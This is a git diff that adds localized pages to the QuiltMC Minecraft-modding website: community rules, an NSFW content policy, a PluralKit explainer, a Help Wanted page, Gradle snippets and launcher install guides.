(potentially NSFW) site or Discord server, as long as it's properly age-gated, without excessively explicit details in text + +While it would be completely inappropriate to engage in it within our spaces, we believe that sex work is work just like any other. We will not tolerate discriminatory behaviour towards sex workers in our spaces, but we will moderate sexual content in accordance with our policies regardless of whether the user in question is a sex worker. + + + + +Contextual Content + +We allow or disallow the following content based on the surrounding context. + +### Anywhere + +* Non-sexual, consensual expressions of affection, including hugging/cuddling, parental/guardian-like affection such as sitting on laps, and so on + +Remember that **consent must be explicit** -- it's best not to make assumptions and to ask people if they're OK with an approach, instead of assuming they'll be OK with it and potentially hurting them. + +As long as this is **consensual and appropriate**, we're unlikely to try to moderate this outside of situations involving poor timing or lack of tact, where that's likely to hurt someone -- for example, you shouldn't try to hug someone when they're talking about how they've been negatively affected by people hugging them without consent. + +### With a spoiler and content warning + +* Mildly suggestive artwork or artwork depicting injuries, as long as the purpose of the artwork isn't simply to shock or upset other users +* Artwork or photos depicting the intimate parts of a relationship + +While we don't have an interest in banning depictions of couples kissing (for example), we understand that this can be a trigger for some people, so we ask that it's posted with a content warning and a spoiler. + + + + +Restricted content + +We only allow the following content in spaces designated for it. + +### In spaces designated for artwork and artistic discussions +#### With a spoiler and content warning + +* Anatomy practise and historic artistic nudity (for example, the Venus statues) +* Artwork that could reasonably be considered horror or horror-related (except for gore or body horror) + +It's difficult to improve your approach to drawing people in general without putting in some anatomy practice. However, this does not have to be extremely detailed work -- we advise that you use your best judgement, but we'll still remove content that includes depictions of intimate parts of the body that are too detailed. + +### In spaces designated for serious or sensitive topics +#### With a spoiler and content warning, and without imagery + +* Discussions relating to sexual abuse (or other related trauma), from the perspective of activism, venting, discussing news, seeking support, and supporting survivors and the families of victims + +While we aren't therapists (or trained in how to help with these situations), it's hard to overstate how helpful it can be to receive support from your peer group, or just to talk about your trauma. We feel it's important for us to provide spaces where this can happen -- but we'd like to remind you that therapy is helpful for many people going through all sorts of things, and you should still seek it out if you need it. + +### In spaces designated for trans or LGBT+ people, or for serious or sensitive topics +#### Without intimate imagery, aside from medical diagrams with a spoiler and content warning + +* [Sexual health](https://www.who.int/health-topics/sexual-health) and body care +* Detailed information about gender-affirming surgery and what happens during it + +As a trans-positive space, it wouldn't make sense for us to disallow these discussions. It's still worth noting that even cis people may need to talk about sexual health and body care, though, so we don't limit this to trans-related discussions. + +### In spaces designated for trans or LGBT+ people, or for fashion or selfies + +* Photos of yourself that are not sexual in nature but depict suggestive or semi-intimate wear, or clothing that isn't suggestive but is commonly sexualized on the internet, with considerations made for your safety -- for example: + * Clothing such as hosiery, swimwear, crop tops, bras, tall heels or short shorts/skirts + * Body parts such as your chest, thighs, feet, or navel area + +This restriction is intended to protect users that wish to post photos of themselves, rather than entirely removing content from the view of other users -- it gives us a much smaller potential surface area to moderate, and makes it easier to pick out people that are just around to creep on people's photos. + +Regardless, please use your best judgement when posting content that may impact your safety. We'll always recommend you avoid posting your face or the area you live or work in, including scenery visible through windows. + +**Note:** It's not appropriate for threads or forum topics to be created to collate this type of content -- but it's OK to create (for example) an "outfit of the day" thread, as long as it isn't exclusively meant for this type of content, and allows for on-topic posts that don't match this designation. + + + + +Banned Content + +We do not allow the following content under any circumstances, aside from the exceptions detailed previously. + +### Implied or explicit nudity + +* Implied or explicit nudity involving drawn characters, real people or AI generated images, including photos depicting the results of gender-affirming surgery or imagery where someone appears to be nude -- even when their intimate body parts are not visible due to positioning or framing +* Implied or explicit nudity involving drawn characters, where the intention of the depiction is to be suggestive, sexual, shocking, or otherwise not incidental or intended for practice + +### Suggestive or sexual attention + +* Suggestive comments about (or reactions to) other users that haven't consented to it, especially if they've stated they're uncomfortable with it or aren't old enough -- regardless of how explicit the comments are +* Sexual comments about other users, regardless of context or whether they consent to it, including implications about other people or groups of people +* Any suggestive or intimate depictions involving people other than the poster, without their consent or knowledge -- including creep-shots or images reasonably assumed to be private, regardless of how well-known the person is + +### Suggestive or sexual content + +* Content (including imagery, audio and other multimedia) intended to be suggestive or arousing, or to seek a sexual response from another user +* Explicit sexual content and behaviour, including role-play and innuendo intended to imply sexual intent +* Depictions of movements intended to be sexual or seductive, including twerking (even if it's [a Crewmate from Among Us](https://among-us.fandom.com/wiki/Crewmate)), regardless of the reason it's being posted + +### Other content + +* Depictions of anything that can reasonably be considered NSFL -- animal abuse, gore, serious injuries, body horror, suicide, and so on +* Unwanted advances regarding things like relationships -- for example, badgering someone for a date after they've rejected you, regardless of whether it's light-hearted or not + + + +## Moderation Policy + +First and foremost, we'd like to point out that we're not trying to be the fun police. Our community is host to a diverse range of people with many backgrounds, and some of them may suffer from panic attacks or other strong reactions to NSFW content. We believe that these people have a place in our community, and we'd like to make it as welcoming for them as we can. + +We're aware of the different levels of tolerance people have for drawn art versus photography and depictions of real people, and we understand the need to take content _and_ context into account when moderating this type of media. We'll do our best to avoid under-moderating while still allowing an acceptable degree of freedom. + +Additionally, it's worth pointing out that NSFW content can present a safety issue when posted around minors. Our team is intimately familiar with the correlation between people posting NSFW content around minors and how those people can be a danger to those minors, and we will not tolerate any behaviour that impacts the safety of our users. + +While we moderate NSFW content on a case-by-case basis in accordance with our broader moderation policy, we'd like to point out that the Community Team may include minors and people that have strong reactions to NSFW content. For this reason, **we do not allow minors to handle NSFW content**, and Community Team members that do not wish to handle NSFW content **are welcome to avoid doing so**, or ask another staff member to handle it on their behalf. + +It's important to us that everyone on our staff teams prioritizes individual safety and mental health above their work, but we'll still do our best to respond to reports and issues in a timely fashion. + +**Note:** There's a difference between sexual content and approaching another user sexually, or with sexual intent -- but the lines may be blurry in some situations. We consider approaching someone sexually to be much more serious than posting sexual content on its own, but it's also worth noting that sometimes the act of posting sexual content can itself be considered sexual attention towards someone. We always aim to prioritize safety, so it shouldn't be surprising if we are harsher than you may expect in situations like this! + diff --git a/src/pages/zh/community/pluralkit.mdx b/src/pages/zh/community/pluralkit.mdx new file mode 100644 index 000000000..a741edb76 --- /dev/null +++ b/src/pages/zh/community/pluralkit.mdx @@ -0,0 +1,90 @@ +--- +title: PluralKit +description: Learn about PluralKit, a tool we use to help plural systems to interact more comfortably on Discord. +layout: /src/layouts/Page.astro +--- + +import Message from "@atoms/Message.astro"; + + + **Note:** This document is specific to Discord. If you're not making use of + our community spaces on Discord, PluralKit won't be available. + + +[PluralKit](https://pluralkit.me) is a Discord bot that exists to allow users to proxy their messages via Discord webhooks. This has many practical applications, especially given that Discord doesn't have any features that support the plural community, or any built-in mental health aids. + +PluralKit has all kinds of fun and interesting uses, but in Quilt community spaces it should only be used for [plurality](#plurality) or self-identity purposes, or as a mental health aid. We do not allow users to make use of PluralKit for role-playing. + +If you see users talking with the bot tag, they're talking through PluralKit. You can react to any message sent this way with the `question` emote (❓) for information on which Discord account the message belongs to. + +## General Usage + +The primary function of PluralKit is automatically proxying messages that people using it send, in order to make those messages appear to come from someone else. This is done by making use of Discord webhooks -- which has the unfortunate side effect of Discord stating that the messages were sent by a bot. Rest assured that this isn't the case -- while the messages were proxied by PluralKit, they were written by a real member of the community! + +Even if you aren't making use of PluralKit yourself, you can still leave reactions on messages that PluralKit has proxied. The following reactions allow you to interact directly with the system that sent the message, or to look up information about it: + +- ❓ (`question`) -- Get a private message with information about the Discord account that sent the message, such as username, nickname, pronouns, system/member descriptions and roles. +- 🔔 (`bell`) -- Mention the Discord account that sent the proxied message, to make sure the system using it sees your reply. We advise using this sparingly, as it gets annoying and spammy quickly. + +## Moving from Tupperbox + +If you already have a system set up on Tupperbox, you can easily import that system to PluralKit. Simply follow these steps: + +1. Send a private message to Tupperbox: `tul!export` +2. Copy the link that Tupperbox gives you, to use in the next step +3. Send a private message to PluralKit: `pk;import ` + +## Moderation Notes + +When working with PluralKit, please note that our moderation policy is one of system accountability, meaning that [plural systems](#plurality) are responsible for their members. Unfortunately, there's no practical way to moderate system members individually -- the community team is only able to target the Discord account you're using when acting as moderators. + +If you're part of a plural system, we suggest that you talk with the other members of your system and make sure they're aware of this. + +
+ +## Plurality? + + + **Note:** Pluralities are not the only valid reason to make use of a tool like + PluralKit, but it's by far the most common use for it in our community spaces + -- so we created this section to help explain the concept. Any gatekeeping of + these types of tools will not be tolerated in Quilt community spaces, but + you're always welcome to contact a member of the community team directly if + you have any concerns. + + +Plurality is the concept of multiple people sharing a single body, inhabiting the same brain. Many people's first (or only) experience with this is from people with Dissociative Identity Disorder (DID), but there are many other situations that can cause something like this to happen -- and in many cases, **the existence of a plurality is not problematic or negative**. As [More Than One](https://morethanone.info) states: + +> Plurality (or multiplicity) is the existence of multiple self-aware entities inside one physical brain. +> +> You could think of a plural collective as a group of lifelong roommates, but with a body instead of an apartment. + +In general, a group of plural entities sharing one body tends to be known as a **plural system**. + +When interacting with plural people, remember to treat each individual member of a plural system with respect. Don't pathologise their identity (for example, by asking to meet the "real" person or suggesting that they need to be "cured"), and remember that many plural people consider their identity more a matter of philosophy than of medicine. Additionally, treat each system member as separate people, with their own memories, experiences and personality -- If they ask you to treat them in a specific way, listen to them and follow their lead as best you can. + +It's also worth noting that plurality is a whole world and plural systems often greatly differ from each other, sometimes identifying or manifesting themselves in completely different ways. All plural systems are valid, regardless of how their members identify or interact, how they were formed, or how they think about themselves. + +For more information on plurality, feel free to browse the following resources... + +### Ex Uno Plures + + + **Note:** This site belongs to a specific plural system, and much of what's + written there is related to their personal experiences of plurality. + Additionally, some articles there were written quite some time ago, and may + contain vulgar language and outdated terminology -- including terms that exist + outside the plural community. Nonetheless, it remains a popular and useful + resource for people approaching plurality and plural systems from the outside. + + +- [Fictive Identities](https://www.exunoplures.org/main/fictive-identities) by Noël Dawkins +- [Plurality for Skeptics](https://www.exunoplures.org/main/articles/skeptics) by Em Flynn +- [Rules of Engagement: Plural Etiquette](https://www.exunoplures.org/main/articles/rules) by Em Flynn, Hess Sakal and Kerry Dawkins + +### Other Resources + +- [Cerberus Plural](https://cerberusplural.com), the plural news and media watchdog +- [More Than One](https://morethanone.info), a quick, easy-to-digest overview of plurality -- including information on etiquette and myths +- [r/plural Plurality FAQ](https://www.reddit.com/r/plural/wiki/faqs) +- [Resource Links from Plurality Resource](https://pluralityresource.org/affiliates) diff --git a/src/pages/zh/community/rules.mdx b/src/pages/zh/community/rules.mdx new file mode 100644 index 000000000..8b6ffe147 --- /dev/null +++ b/src/pages/zh/community/rules.mdx @@ -0,0 +1,131 @@ +--- +title: Rules +description: Quilt's core rules, which build upon the Code of Conduct to provide a set of concrete guidelines for behaviour. +layout: /src/layouts/Page.astro +--- + +We expect everyone that makes use of any Quilt community spaces to adhere to the following rules. If you have any questions or suggestions, please feel free to contact a member of the community team or ask your question in the `#discord-meta` channel. + +**Remember:** Ignorance of our rules is not an excuse for breaking them. You are responsible for educating yourself on how every community you join expects you to behave, and "I didn't know that was in the rules" will never be a valid excuse. + +#### 1) Follow our Code of Conduct and NSFW content policy + +Make sure you read and follow [our Code of Conduct](/en/community/code-of-conduct), which outlines what we expect from you and is the basis for these rules. It's important that you read and understand the Code of Conduct, and the rules on this page -- feel free to contact a community team member if you need any clarification. + +Additionally, be sure to read and follow [our NSFW and Sexual Content policy](/en/community/nsfw-policy), which explains what types of content, media and related behaviour we do and don't allow. + +That said, remember that there will sometimes be situations that are difficult to fit into the Code of Conduct at a glance. In these cases, please contact a member of the community team for clarification. + +#### 2) Follow Discord's Rules + +In all community spaces, everyone must also follow the Discord [Community Guidelines](https://discord.com/guidelines) and [Terms of Service](https://discord.com/terms). + +These aren't just good to follow as a general rule of thumb -- this is also a requirement when operating a large community on Discord, especially if that community is aiming to be partnered or verified. + +#### 3) Try to speak English + +The world is a big place, and many people will have a different native language. The common language in our community is English, but we understand that not everyone speaks English at the same level. + +If you're not a native English speaker, please try to speak English to the best of your ability. Don't worry if you need to use a translation tool, or if your English isn't great -- we won't make fun of you, and we'll help you figure out the right words if you get stuck. + +#### 4) Listen to & respect all community team members + +The community team is here to support the community, keep it running smoothly, and ensure that it remains safe and friendly. In order to allow us to do our jobs, we need you to cooperate with us. + +Essentially, please take requests from community team members seriously and listen when a team member asks you to do something. If you have a problem with what a team member is asking you to do, we advise that you step away from the situation and send a private message to another team member. + +#### 5) Keep all projects legal, legitimate & appropriate + +While anyone may make use of the Quilt toolchain in accordance with the licenses applied to each project, all projects developed or promoted **in all Quilt community spaces** must meet the following criteria: + +- Projects must not be malicious -- which includes (but is not limited to) malware, mods that include backdoors, mods that modify Quilt in an attempt to hide themselves from servers they connect to, or mods that harass specific people or groups of people (for example, by automatically kicking them from servers with the mod installed) +- Projects must not be sexualized, hateful or otherwise inappropriate in nature, and this also applies to all code and project assets posted for any purpose +- Projects must not break laws, including copyright laws -- this includes piracy tools (including mods that use projects like `youtube-dl` for in-game music streaming) and hacked clients, as well as projects that fail to adhere to the licenses of other projects to the best of their ability +- Projects must not break the Terms of Service or EULA of any organization, including (but not limited to) Mojang, Microsoft, Discord (including their ban on exploits and hacks) and any other community platforms we use +- Projects must not hide their functionality and should be upfront with what they do -- however, projects with unfinished documentation or benign "Easter eggs" do not violate this rule +- Projects must not make use of exploits in order to provide their functionality -- this is required by the [Discord Terms of Service](https://discord.com/terms) (among others), and is widely considered to be a problematic thing to do + +#### 6) Don't spam, and don't advertise outside the showcase channels + +We provide a number of channels for showcasing and informing users about your Quilt-related projects. Outside of these channels, we will not tolerate advertising or any other form of spam. In particular, posting large numbers of images or lines of text together can be particularly disruptive, and we'd prefer you make use of a pastebin site or image uploading site when sharing a lot of text or images. + +We may remove links to other Discord servers, communities and projects at our discretion if we feel like they've been posted inappropriately, rather than to start or contribute to a discussion. + +#### 7) Follow the given channel topic, and don't derail a discussion + +Most of our channels are strictly on-topic, and we expect our users to take note of a channel's topic and stick to it. We understand that conversations may span multiple topics and move onto something else, but we may ask you to move if a conversation leaves the scope of a channel's topic. + +Additionally, when entering a channel with an active discussion, please be mindful of that discussion and do not try to derail it (by talking over it, for example). We have multiple general (off-topic) channels you can use if a channel is busy. + +#### 8) When requesting help, specify your mappings (and other useful, relevant info) + +If you're working on a mod and asking for help in one of our many help channels, **make sure you specify what mappings you're using**. We recommend creating a thread, and putting the mappings in the thread name -- you can use these abbreviations to ensure everyone's on the same page: + +- `MCP` -- MCP/Forge mappings +- `MM` -- Mojang Mappings +- `QM` -- Quilt Mappings (The default for Quilt) +- `YM` -- Yarn Mappings (The default for Fabric) + +An example thread title could be `YM | Entity pathing` or `[MM] Negative Enchants`. That said, we understand that quick questions may be more suited to direct discussion in the channels -- in those cases, **make sure you're clear about which mappings you're using**. You can also make use of the `:mcp:`, `:mm:`, `:qm:` and `:ym:` (or `:yarn:`) emoji if you'd like to. + +Ultimately, it's _your_ responsibility to ensure that it's as easy as possible to help you with your questions. The less work it takes for someone to understand your problem, the more likely you are to get a quick response! To that end, we also recommend you specify other useful information with your question -- such as **the version of Minecraft you're working with**, **error logs** and **relevant code snippets**. + +#### 9) Don't import drama or controversy from other communities + +We aim to be a safe place for everyone -- regardless of their background, identity, or other defining trait. In order to do this, it's important that people are allowed to interact without having to worry about controversies from the wider modding community that they may be seeking refuge from. + +Additionally, we expect a certain level of professionalism from our members. For both of these reasons, discussion of drama or controversies from other communities is banned -- including the numerous controversies that have unfolded within other spaces in the wider modding community. + +If you'd like to discuss these controversies with other users, start a DM group or join a community that's designed to handle that discussion. + +
+ +### Non-message mediums + +Do not change your avatar, nickname, username or custom/rich status to try to evade an infraction, or to attack or harass any user or group. If you'd like to appeal an infraction, please send a private message to any community team member. + +#### Nicknames + +All nicknames must adhere to the rules above, in addition to the following rules: +1. Nicknames must be easy to read, especially by a screen-reader (eg: no Zalgo or otherwise hard to read non-ascii characters, with the exception of non-Latin names) +2. Nicknames cannot be intentionally confusing or misleading - impersonation is stricly forbidden, as well as using similar looking nicknames to be intentionally confusing +3. Nicknames must have some readable characters (eg: no "empty" nicknames) + +We reserve the right to change or reset nicknames that are infringing those rules, or designed to place you higher in the member list in community spaces that have one, which is known as "hoisting". As always, the moderator has the final call as to whether a nickname infringe those rules or not. You are free to appeal this decision. + +#### Avatars + +All avatars must adhere to the rules above. Additionally, avatars depicting weapons (e.g. knives, firearms), objectionable or Not Safe For Work (NSFW) content are disallowed, as well as fully-transparent avatars or avatars that appear to be fully-transparent by matching the platform's background color. This also applies to PluralKit member avatars. + +#### Custom/Rich Statuses + +All user statuses must adhere to the rules above. In particular, we don't want to see objectionable or NSFW emoji, the advertising of sketchy or NSFW websites, or hateful sentiment. + +### Reporting + +To report rule-breaking behavior on Discord, mention the **@Moderators** role directly in the channel, and a community team member will be along as soon as they can be. You can also send a private message to the **@ModMail** bot, which will open a thread that any currently available community team member can respond to. + +Alternatively, you can send a private message directly to any community team member, or otherwise contact the community team using the relevant contact methods for the given community space. + +If your report concerns a community team member, please send a private message directly to a different member of the community team or a member of the administrative board. All private reports will be treated with confidentiality. + +### Enforcement + +Our community team members have multiple tools at their disposal when dealing with those who violate the rules, including the following: + +- Verbally/textually warning or correcting users +- Forcibly changing a user's nickname +- Temporarily muting users +- Temporarily or permanently removing users from the community (kicking, tempbanning, banning) + +Each situation is unique, and will be assessed on a case-by-case basis. All actions taken in response to rule-breaking behavior is done at the discretion of the community team member in question -- however, we will take feedback from the community if its members are not happy with how things were resolved. + +Appeals for community bans on Discord are handled via the **@ModMail** bot, and banned users are automatically sent an invite to a special server that exists for them to be able to send a private message to **@ModMail**. We advise that anyone appealing an infraction approaches their appeal with civility and respect, addressing the infraction reason and, if they agree with the infraction, considering the severity of what they did and what they may be able to do to rectify it. + +Appeals made for lesser infractions may result in a more significant infraction if the person appealing fails to approach their appeal with respect, or attempts to abuse the community team members or appeals process. + +#### Moderation Guidelines + +Moderation is a complicated subject at best, and it requires a lot of nuances and difficult decision-making. While it's impossible to enumerate every possible situation (and some situations will not suit our documentation), we've done our best to explain how we come to a decision, and what we expect from our community team. + +For more information on this, feel free to read [our moderation guidelines](/en/staff/moderation). If you have any feedback on this document, feel free to contact us! diff --git a/src/pages/zh/dev/index.mdx b/src/pages/zh/dev/index.mdx new file mode 100644 index 000000000..586dbed3d --- /dev/null +++ b/src/pages/zh/dev/index.mdx @@ -0,0 +1,17 @@ +--- +title: Development +layout: /src/layouts/Page.astro +draft: true +--- + +import site from "@data/Site"; + +# 开发适用于 Quilt 的模组 + +如果您想了解如何开始开发 Quilt 模组,请查看我们的[维基](https://modder.wiki.quiltmc.org)。 + +您可以在此处找到可用版本的列表[这里](/dev/versions)。 + +# 为 Quilt 做出贡献 + +我们欢迎对 Quilt 的贡献。您可以在GitHub上找到我们。 diff --git a/src/pages/zh/dev/versions.mdx b/src/pages/zh/dev/versions.mdx new file mode 100644 index 000000000..fd693cb8d --- /dev/null +++ b/src/pages/zh/dev/versions.mdx @@ -0,0 +1,65 @@ +--- +title: Gradle Snippets +layout: /src/layouts/Page.astro +draft: true +# TODO add the javascript part of this page back +--- + +
+

Gradle Snippets for Minecraft (loading...)

+ +
+
+
+
+ +
+
+
+
+ +

build.gradle

+ +
+ ```groovy + dependencies { + minecraft "com.mojang:minecraft:{minecraft_version}" + mappings "net.fabricmc:yarn:{yarn_version}:v2" + modImplementation "net.fabricmc:fabric-loader:{loader_version}" + + // Fabric API + modImplementation "{maven}{api_version}" + } + ``` +
+ + +

gradle.properties (Template Mod)

+ +
+ ```properties + minecraft_version={minecraft_version} + yarn_mappings={yarn_version} + loader_version={loader_version} + + # Quilt API + fabric_version={api_version} + ``` +
+ +

Mappings Migration

+

Mappings can be auto updated by using the following command. See the wiki page for more help.

+ +
+ ```bash + gradlew migrateMappings --mappings "{yarn_version}" + ``` +
+ +

Loom Version

+ +

The recommended loom version is 0.5-SNAPSHOT.

+ +
diff --git a/src/pages/zh/help-wanted.mdx b/src/pages/zh/help-wanted.mdx new file mode 100644 index 000000000..d88a02c4a --- /dev/null +++ b/src/pages/zh/help-wanted.mdx @@ -0,0 +1,56 @@ +--- +layout: /src/layouts/Default.astro +title: 寻求帮助 +description: 你可以帮助Quilt改进的方式。 +--- + +import Message from "@atoms/Message.astro"; +import PageTitle from "@atoms/PageTitle.astro"; + + + +Quilt 项目非常注重社区,这意味着它需要您的帮助才能取得成功。本页面列出了贡献的机会,从代码贡献到加入社区团队。 + +## 开发 + +开发团队是 Quilt 工具链的主要维护者,包括构建工具、映射、库和加载器。开发团队负责问题处理、合并拉取请求以及帮助社区维护各自的项目。 + +虽然团队在每个项目中提供了民主领导,**但您不必加入团队才能贡献**。团队成员来自对承担额外责任感兴趣的经验丰富的贡献者。 + +如果您想在开发方面提供帮助,下面列出了一些需要帮助的项目。 + +### Chasm + +Chasm 团队负责构建和维护[Chasm 项目](https://github.com/QuiltMC/chasm)。Chasm 是一个字节码转换器项目,旨在以尽可能兼容的方式处理转换器之间的冲突。 + +这是一个相当技术性的项目,但也是我们最有趣的项目之一!如果您有兴趣帮助 Chasm 项目,请在[Discord 服务器的`#chasm`频道](https://discord.quiltmc.org/)发送消息。 + +### 映射问题处理 + +映射团队负责 Quilt 映射及其相关项目,如 Hashed Mojmap。该团队始终在寻找更多的审查人员,审查 Quilt 映射的拉取请求,确保其质量高并满足项目的要求。 + +经验丰富的审查人员可以加入映射问题处理团队,对 Quilt 映射的拉取请求进行最终批准。 + +如果您想了解更多信息,请在[Discord 服务器的`#mappings`频道](https://discord.quiltmc.org/)发送消息。 + +### QSL + +QSL 团队始终寻找拉取请求作者和审查人员,他们帮助 QSL 扩展范围,使其成为一个高质量且功能齐全的模组 API。审查人员检查 API 结构、javadoc、实现等,以确保 QSL 易于使用和维护。经验丰富的审查人员可以加入 QSL 问题处理团队,负责对 QSL 的拉取请求进行最终批准。 + +如果您想编写 QSL 模块或开始审查拉取请求,请在[Discord 服务器的`#quilt-standard-libraries`频道](https://discord.quiltmc.org/)发送消息。 + +### Quilted Fabric API + +Quilted Fabric API 是使用 QSL 重新实现的 Fabric API。我们正在寻找帮助维护此项目!作为维护者,您将负责合并来自上游 Fabric API 的更改,确保它与 QSL 不冲突,并在 Fabric API 的功能可用时在 QSL 中重新实现它们。 + +如果您有兴趣担任这个角色,请在[Discord 服务器的`#quilt-standard-libraries`频道](https://discord.quiltmc.org/)发送消息。 + +## 社区团队 + +社区团队负责照顾我们的社区,帮助其发展,并确保其安全、友好和顺利运行。加入社区团队是为贡献做出贡献的好方法,无论您是不是开发者,或者对开发模组技术不感兴趣。 + +### 版主 + +版主是我们社区的支柱,确保每个人的安全,执行规则,并以富有成效的方式进行讨论。尽管当前团队可以处理我们社区接收到的活动量,但随着兴趣和社区活动的增加,团队需要扩大,以应对不断增长的挑战和开发进展。 + +如果您想申请成为版主,请加入[社区 Discord 服务器](https://discord.quiltmc.org)并发送 ModMail 以提交申请。建议您在申请之前阅读我们的[规则](https://quiltmc.org/community/rules)和[行为准则](https://quiltmc.org/community/code-of-conduct)。 diff --git a/src/pages/zh/index.mdx b/src/pages/zh/index.mdx new file mode 100644 index 000000000..a57050cf6 --- /dev/null +++ b/src/pages/zh/index.mdx @@ -0,0 +1,48 @@ +import Home from "/src/layouts/Home.astro"; +import site from "@data/Site"; + + +
+ # Quilt项目 + + Quilt项目是一个开源、社区驱动的模组工具链,主要用于Minecraft。Quilt致力于提供一个快速、易用和模块化的现代化模组工具链,并构建一个开放的生态系统。 + + Quilt 项目是在 Minecraft 模组化生态系统需要改变的背景下诞生的。我们的团队中有许多经验丰富的模组开发者,他们的熟悉度有助于避免过去的错误,无论是关于社区管理、多样性与包容性、项目治理还是透明度方面的错误。有关更多信息,请参阅我们的["关于"页面](/en/about)。 + +
+
+ **Quilt目前处于测试版阶段。**可能会有一些问题,但我们将尽快修复! + + 如果您想帮助我们测试 Quilt ,请随时[安装它](/en/install),尝试使用,并告诉我们您的体验! + +
+
+ Quilt 是由社区驱动的,没有用户和贡献者就无法存在。我们关心我们的社区;无论您是我们社区空间的成员,偶尔为我们的项目做贡献者,还是仅仅是用户:**Quilt存在是为了满足您的需求**,而不是忽视它们。 +
+
+ Quilt 的模块化不仅仅用于组织其代码,**也将扩展到用户和模组开发者**。如果您是模组开发者,我们的构建工具将跟踪您的模组使用的Quilt库。如果您是用户,Quilt将能够自动下载运行您的模组所需的Quilt库。 + + **注意:**这是一个未来的目标,我们仍在努力中。 + +
+
+ Quilt具备额外的功能和工具,使您的模组能够取得成功。从丰富的模块库,帮助您以更少的工作量编写更兼容的模组,到提供的最准确的反编译工具,Quilt为**您的模组提供了可靠的支持**。 +
+
+ # 加入社区 + + 请随意通过点击下面的按钮加入我们的官方社区空间。请注意,**我们的社区(和开发)空间的所有用户都应遵守[我们的行为准则](/en/community/code-of-conduct)和[我们的规则](/en/community/rules)。**我们建议您在加入或与我们互动之前阅读并熟悉这些准则和规则。 + +
+
+ # 参与其中 + + 即使您不是开发者,也有许多方式可以帮助我们。您可以在我们的[Help Wanted页面](/en/help-wanted)上找到需要帮助的项目列表。 + + 如果您想做出贡献,最好的方法是加入我们的GitHub和Discord服务器。我们总是需要更多的帮助,因此有很多事情可以做! + +
+
+ # 最新文章 +
+
diff --git a/src/pages/zh/install/atlauncher.md b/src/pages/zh/install/atlauncher.md new file mode 100644 index 000000000..7f682a234 --- /dev/null +++ b/src/pages/zh/install/atlauncher.md @@ -0,0 +1,33 @@ +--- +title: "Install: ATLauncher" +permalink: /install/atlauncher/ + +layout: /src/layouts/InstallPage.astro +platformKey: platform-atlauncher +website: https://atlauncher.com +--- + +ATLauncher is a simple, easy-to-use launcher, built around the concept of building game instances from "packs". To set up your own Quilt instance, simply follow these steps: + +1. Download and install ATLauncher from [their website](https://atlauncher.com) +2. Open ATLauncher and click on the **Vanilla Packs** tab on the right side +3. Fill out the **Instance Name** and **Instance Description** boxes as required +4. Pick the version of Minecraft you'd like to use for your instance +5. Pick **Quilt** from the list of loaders below the Minecraft versions section +6. Select the Quilt Loader version you'd like to use +7. Click **Create Instance** to create your instance + +That's all there is to it! You can find your new instance in the **Instances** tab on the right side of the window. + +# Installing Mods + +To install mods to your ATLauncher instance, simply follow these steps: + +1. Click on the **Instances** tab on the right side +2. Find the instance you'd like to add mods to, and click on **Add Mods** +3. Find a Fabric or Quilt mod from CurseForge or Modrinth, and click the **Add** button +4. Ensure you have also added the **Quilted Fabric API/Quilt Standard Libraries** bundle, which you can find [on CurseForge](https://www.curseforge.com/minecraft/mc-mods/qsl) or [on Modrinth](https://modrinth.com/mod/qsl) + +If you can't find the mod you'd like to install using the built-in search, you can click on **Open Folder** and copy any mod files you'd like to use into the `mods/` folder. + +Start up your game, and the mods should be available immediately. If you run into any issues, please take a look at the [troubleshooting page](/en/usage/troubleshooting), or [join us on Discord](https://discord.quiltmc.org) to ask for support! diff --git a/src/pages/zh/install/bakaxl.mdx b/src/pages/zh/install/bakaxl.mdx new file mode 100644 index 000000000..524a5c806 --- /dev/null +++ b/src/pages/zh/install/bakaxl.mdx @@ -0,0 +1,42 @@ +--- +title: "Install: BakaXL" +permalink: /install/bakaxl/ + +layout: /src/layouts/InstallPage.astro +platformKey: platform-bakaxl +website: https://www.bakaxl.com +--- + +import Message from "@atoms/Message.astro"; + + + Please note that BakaXL is a launcher primarily designed for the Chinese market - they have done their best to localize the launcher, but if you don't speak Chinese then you may have a hard time reading some of its text. + + If you'd like to contribute to BakaXL's translations, you can do so [on GitHub](https://github.com/BakaXL-Launcher/BakaXL). + + +BakaXL is a launcher designed for Chinese users, with a broad focus on usability and a modern theme. In order to set up and use a Quilt "core", follow these steps: + +1. Download and install BakaXL from [their website](https://www.bakaxl.com) +2. Open BakaXL and agree to install updates (using the button to the bottom-right of the dialog), if any are available +3. Follow the instructions to set up the launcher and log into your Minecraft profile +4. Click on the tile that looks like a pentagon to add a new core +5. Select "Automatically install core", and select the Minecraft version you'd like to use +6. Click on "Quilt", and select the Quilt loader version you'd like to use +7. Click on "Install Now" +8. Click on the "9" icon in the upper left corner to return home + +That's all there is to it! You can find your new instance in the **cores** section, by clicking on the circular icon on the bottom-right of the main window. + +# Installing Mods + +To install mods to your BakaXL core, simply follow these steps: + +1. Click on the circular icon on the bottom-right of the main window +2. Select the core you'd like to add mods to +3. Click on "Advanced Core Management" +4. Select "Mods", and click on the second option below "Mods Folder", which will open the `mods` folder in your file explorer +4. Download the mods you'd like to install, and copy or move them into the folder that just opened +5. Ensure you have also added the **Quilted Fabric API/Quilt Standard Libraries** bundle, which you can find [on CurseForge](https://www.curseforge.com/minecraft/mc-mods/qsl) or [on Modrinth](https://modrinth.com/mod/qsl) + +Start up your game, and the mods should be available immediately. If you run into any issues, please take a look at the [troubleshooting page](/en/usage/troubleshooting), or [join us on Discord](https://discord.quiltmc.org) to ask for support! diff --git a/src/pages/zh/install/client.mdx b/src/pages/zh/install/client.mdx new file mode 100644 index 000000000..eb10ade34 --- /dev/null +++ b/src/pages/zh/install/client.mdx @@ -0,0 +1,79 @@ +--- +title: "Install: Client" +permalink: /install/client + +layout: /src/layouts/InstallPage.astro +platformKey: platform-client +website: "https://www.minecraft.net/en-us/download" + +hasDownloads: true +--- + +import InstallerVersion from "@parts/install/InstallerVersion.astro"; +import MavenInstallerButton from "@atoms/MavenInstallerButton.astro"; + +Before getting started, you'll need to make sure you download a copy of the Quilt installer. + +The **Universal** download will work on any computer with Java properly installed -- but if you're on Windows, and you'd rather just use the Java installation that comes with Minecraft, then you can use the **Windows** download. + +If you're not sure which to pick, just [install Java](https://java.com/en/download) and use the **Universal** download. + +
+ + +
+
+
+ + + + +
+
+
+
